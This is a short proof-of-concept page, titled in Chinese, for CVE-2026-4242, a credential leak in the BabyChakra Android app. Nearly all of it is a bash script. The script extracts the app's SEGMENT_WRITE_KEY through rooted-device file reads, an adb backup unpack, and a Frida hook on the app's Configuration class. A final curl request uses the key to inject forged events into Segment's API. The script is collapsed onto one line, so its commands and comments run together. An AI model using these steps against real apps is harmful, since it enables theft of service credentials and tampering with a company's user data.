CVE-2026-4242: BabyChakra Android应用SEGMENT_WRITE_KEY凭证泄露漏洞

#!/bin/bash # CVE-2026-4242 PoC - BabyChakra SEGMENT_WRITE_KEY Extraction # This PoC demonstrates how to extract the exposed SEGMENT_WRITE_KEY from BabyChakra app # Method 1: If device is rooted, extract from SharedPreferences adb shell su cd /data/data/com.babychakra.app/shared_prefs/ cat *.xml | grep -i "SEGMENT_WRITE_KEY" # Method 2: Using adb backup (for non-rooted devices) adb backup -f babychakra_backup.ab com.babychakra.app # Then use Android Backup Extractor to parse the .ab file java -jar abe.jar unpack babychakra_backup.ab babychakra_backup.tar tar -xf babychakra_backup.tar cat shared_prefs/*.xml | grep -i "SEGMENT_WRITE_KEY" # Method 3: Using frida to hook the Configuration class frida -U -f com.babychakra.app -l exploit.js # exploit.js content: /* Java.perform(function() { var Configuration = Java.use('app.babychakra.babychakra.Configuration'); Configuration.getSEGMENT_WRITE_KEY.implementation = function() { var key = this.getSEGMENT_WRITE_KEY(); console.log('[+] SEGMENT_WRITE_KEY:', key); return key; }; }); */ # After obtaining the key, data injection can be performed: # curl -X POST -H "Authorization: Basic <base64(write_key:)>" \ # -d '{"batch":[{"userId":"attacker","event":"test","timestamp":1234567890}]}' \ # https://api.segment.io/v1/batch